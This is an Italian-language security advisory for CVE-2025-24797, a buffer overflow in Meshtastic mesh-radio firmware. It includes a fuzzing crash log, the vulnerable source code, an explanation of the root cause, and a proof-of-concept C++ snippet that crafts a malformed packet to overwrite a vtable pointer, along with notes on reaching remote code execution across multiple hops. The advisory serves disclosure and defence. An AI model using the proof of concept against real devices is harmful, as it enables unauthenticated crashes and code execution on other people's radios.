
Vulnerabilità di buffer overflow in Meshtastic - CVE-2025-24797
Dettaglio CVE-2025-24797 - NVD
Un difetto nella gestione dei pacchetti mesh contenenti dati protobuf non validi può causare un buffer overflow controllato dall'attaccante, consentendo a un attaccante di dirottare il flusso di esecuzione, potenzialmente portando a esecuzione di codice remoto. Questo attacco non richiede autenticazione o interazione dell'utente, purché il dispositivo di destinazione ritrasmetta i pacchetti sul canale predefinito.
La vulnerabilità è stata scoperta originariamente tramite fuzzing, portando al seguente abort ASAN:
DEBUG | 22:27:03 0 State: BOOT
DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 Packet RX: 845ms
DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8)
DEBUG | 22:27:03 0 [Router] Expand short PSK #1
DEBUG | 22:27:03 0 [Router] Use AES128 key!
ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0
ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)!
WARN | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8!
DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1
INFO | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25
DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
INFO | 22:27:03 0 [Router] Rebroadcast received floodmsg
DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
DEBUG | 22:27:03 0 [Router] Set random delay before tx
DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256)
DEBUG | 22:27:03 0 [Router] Module 'routing' considered
DEBUG | 22:27:03 0 [SimRadio] delay done
DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
=================================================================
==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148
READ of size 10320 at 0x6130000006e0 thread T0
#0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621
#2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261
#3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231
#4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82
#5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89
#6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
#7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
#8 0x55f23a154893 in loop src/main.cpp:1259
#9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
#10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392
#12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4)
0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0)
allocated by thread T0 here:
#0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71
#2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38
#3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60
#4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97
#5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141
#6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26
#7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100
#8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132
#9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618
#10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681
#11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71
#12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79
#13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
#14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
#15 0x55f23a154893 in loop src/main.cpp:1259
#16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
#17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==6992==ABORTING
La corruzione si verifica quando un pacchetto viene inviato durante l'operazione memcpy, copiando i byte crittografati nel radioBuffer. Il campo p->encrypted.size ha un valore maggiore della dimensione di radioBuffer.payload (240 byte).
// src/mesh/RadioInterface.cpp
size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
// ...
memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);
// ...
}
La causa del valore di dimensione non valido è un bug logico che si verifica durante la decodifica dei pacchetti. I dati del pacchetto decifrato vengono decodificati usando pb_decode_from_bytes, con destinazione la struttura del pacchetto ricevuto p.
// src/mesh/Router.cpp
bool perhapsDecode(meshtastic_MeshPacket *p)
{
// ...
// Try to decrypt the packet if we can
crypto->decrypt(p->from, p->id, rawSize, bytes);
// printBytes("plaintext", bytes, p->encrypted.size);
// Take those raw bytes and convert them back into a well structured protobuf we can understand
memset(&p->decoded, 0, sizeof(p->decoded));
if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
} else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
LOG_ERROR("Invalid portnum (bad psk?)!");
} else {
decrypted = true;
break;
}
// ...
}
Se la decodifica ha successo, decrypted viene impostato a true e which_payload_variant viene correttamente aggiornato a meshtastic_MeshPacket_decoded_tag.
// src/mesh/Router.cpp
bool perhapsDecode(meshtastic_MeshPacket *p)
{
// ...
if (decrypted) {
// parsing was successful
p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded
// ...
Tuttavia, se la decodifica non ha successo, which_payload_variant non viene aggiornato. Poiché p->encrypted e p->decoded sono implementati usando un'unione e le loro aree di memoria si sovrappongono, i dati in p->encrypted sono stati corrotti con i dati parziali decodificati da pb_decode_from_bytes e non sono sicuri da utilizzare.
Poiché i nodi ritrasmettono i pacchetti ricevuti per impostazione predefinita, il pacchetto corrotto viene programmato per essere inviato. In RadioInterface::beginSending il codice asserisce correttamente che il pacchetto è in formato crittografato e assume che p->encrypted sia sicuro da accedere, portando la dimensione corrotta a essere passata a memcpy, potenzialmente facendo overflow del buffer.
Questo è un esempio di codice che mostra come inviare un messaggio malevolo che scatena la vulnerabilità.
uint32_t from = 2;
uint32_t id = 2;
meshtastic_Data d = meshtastic_Data_init_default;
// We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// This is the data written outside of radioBuffer
d.dest = 0xAAAAAAAA;
// Overwrites virtual table pointer
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;
byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);
// Cause deserialization to fail by adding a stray byte
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;
channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);
meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // Broadcast
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));
meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);
Ecco il nodo ricevente che si blocca mentre tenta di caricare il nostro puntatore vtable sovrascritto:

L'attaccante ha il controllo sulla dimensione e sul contenuto del buffer perché i dati scritti si basano sui dati del pacchetto crittografato che vengono decodificati. Modificando la dimensione della memcpy, un attaccante può corrompere le strutture dati dell'heap, portando a un denial of service.
L'attaccante ha anche il controllo su una parte limitata dell'area sovraccaricata, poiché la struct meshtastic_Packet è più grande del RadioBuffer di destinazione. Dopo il radioBuffer seguono tre campi della struct: int8_t power; float savedFreq; uint32_t savedChannelNum. Questi non vengono utilizzati durante il funzionamento e possono essere sovrascritti in sicurezza. Dopo questi campi, segue il puntatore alla tabella virtuale per concurrency::NotifiedWorkerThread. Sovrascrivendo questo puntatore, un attaccante può reindirizzare arbitrariamente l'esecuzione la prossima volta che il thread viene eseguito, potenzialmente consentendo l'esecuzione di codice remoto.
Stimiamo che un exploit RCE funzionante sia abbastanza semplice su sistemi embedded senza ASLR o protezione dell'esecuzione della memoria, poiché l'attaccante può includere shellcode direttamente all'interno del pacchetto. Se le protezioni di esecuzione della memoria sono attive, un attaccante potrebbe essere in grado di ottenere RCE o altri comportamenti distruttivi chiamando metodi esistenti all'interno del firmware. Se ASLR è presente, assumiamo che sia necessaria un'altra vulnerabilità per divulgare gli indirizzi.
Questa vulnerabilità può essere sfruttata anche su nodi distanti più salti. Poiché il pacchetto viene ritrasmesso, un attaccante può annidare più stadi dei dati crittografati malformati, dove gli stadi iniziali sovrascrivono il campo della dimensione con valori validi. I dati verranno decompressi ad ogni salto fino a quando non verrà attivata la sovrascrittura finale.